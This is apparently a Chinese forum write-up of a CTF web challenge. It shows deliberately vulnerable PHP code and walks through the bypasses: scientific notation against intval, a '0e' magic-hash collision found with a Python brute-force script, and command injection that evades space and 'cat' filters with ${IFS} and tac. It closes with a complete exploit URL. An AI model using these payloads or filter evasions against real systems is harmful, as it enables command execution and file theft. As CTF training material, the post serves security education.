CTF-19解题思路

Track-子羽   ·   发表于 2021-11-17 14:54:39   ·   CTF&WP专版

源码分析:

  1. <?php
  2. header('Content-type:text/html;charset=utf-8');
  3. error_reporting(0);
  4. highlight_file(__file__);
  5. //level 1
  6. if (isset($_GET['num'])){
  7. $num = $_GET['num'];
  8. if(intval($num) < 2020 && intval($num + 1) > 2021){
  9. echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
  10. }else{
  11. die("金钱解决不了穷人的本质问题");
  12. }
  13. }else{
  14. die("去非洲吧");
  15. }
  16. //level 2
  17. if (isset($_GET['md5'])){
  18. $md5=$_GET['md5'];
  19. if ($md5==md5($md5))
  20. echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
  21. else
  22. die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
  23. }else{
  24. die("去非洲吧");
  25. }
  26. //get flag
  27. if (isset($_GET['get_flag'])){
  28. $get_flag = $_GET['get_flag'];
  29. if(!strstr($get_flag," ")){
  30. $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
  31. echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
  32. system($get_flag);
  33. }else{
  34. die("快到非洲了");
  35. }
  36. }else{
  37. die("去非洲吧");
  38. }
  39. ?>

level 1传入的数既要小于2020又要+1后大于2021,可以用科学计数法来绕过。比如1e9。intval函数有个特性:“直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换”。而intval($num + 1)则涉及到字符和数字的相加,因为num是科学计数法形式,它会先转成数字形式再加1。

  1. <?php
  2. $num = '1e9';
  3. echo intval($num); //1
  4. echo "\n";
  5. echo intval($num + 1); //1000000001
  6. ?>

level 2:传入的值和传入的值的md5要相等。可以用一个0e开头的字符串进行碰撞,当它的md5值开头也为0e,并且仅由数字组成的时候就可以绕过了。

用python脚本爆破:

  1. import hashlib
  2. import re
  3. for i in range(0,1000000000000):
  4. strr = "0e"+str(i)
  5. md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
  6. if (re.findall('^0e(.*?)',md5) and md5[2:].isdigit()):
  7. print(strr+": "+md5)
  8. #0e215962017: 0e291242476940776845150308577824

get flag:过滤空格和cat的命令执行,cat可以用我最爱的tac来代替,空格可以用${IFS}来代替。

最后的payload如下:

  1. /?num=1e9&md5=0e215962017&get_flag=tac${IFS}flag.php

打赏我,让我更有动力~

0 条回复   |  直到 2021-11-17 | 537 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.